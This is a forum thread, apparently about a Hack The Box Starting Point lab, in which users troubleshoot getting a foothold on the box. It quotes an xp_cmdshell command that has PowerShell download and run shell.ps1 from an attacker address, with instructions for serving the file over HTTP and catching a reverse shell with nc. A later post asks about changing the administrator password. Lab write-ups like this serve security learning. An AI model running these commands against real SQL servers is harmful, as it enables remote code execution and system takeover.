Starting Point: Foothold - Nothing happens after powershell SQL command

Did the Starting point process again from scratch after running into SQL powershell errors. This time however when I run the SQL command: "xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.32/shell.ps1");"

It does not return any errors, just immediately prompts for the next SQL command and the python webserver received no GET request

Does the powershell file need to be in a specific directory? in the same directory as the mssqlclient.py file? Does the SQL command need the full path to the powershell file?

Make sure the http server command is running

python3 -m http.server 8080

In your powershell command specify the port and make sure it’s the same as what the server runs on.

.DownloadString(\"http://<YOUR IP>:8080/shell.ps1\");"

And also make sure that you have an nc tab listening on the port you specified in your shell.ps1.
The script will execute and you should get a shell in the nc tab.

For some reason it worked after I just ran through the box again from the beginning. I was able to complete it. I must’ve missed something small. I didn’t put in the port number in the command “.DownloadString(“http://:8080/shell.ps1”);” and it still worked for me, actually. But I should’ve tried that. I’ll have to remember that.

I appreciate the help!

Nice! I am glad you were able to do it in the end! :slight_smile:

I am sory. I need help you.

In this image we can see that I can make the connection correctly, but I cannot execute the type and net.exe commands in order to change the administrator password. Could you help me?

@ARMI check the other thread: here

Thx.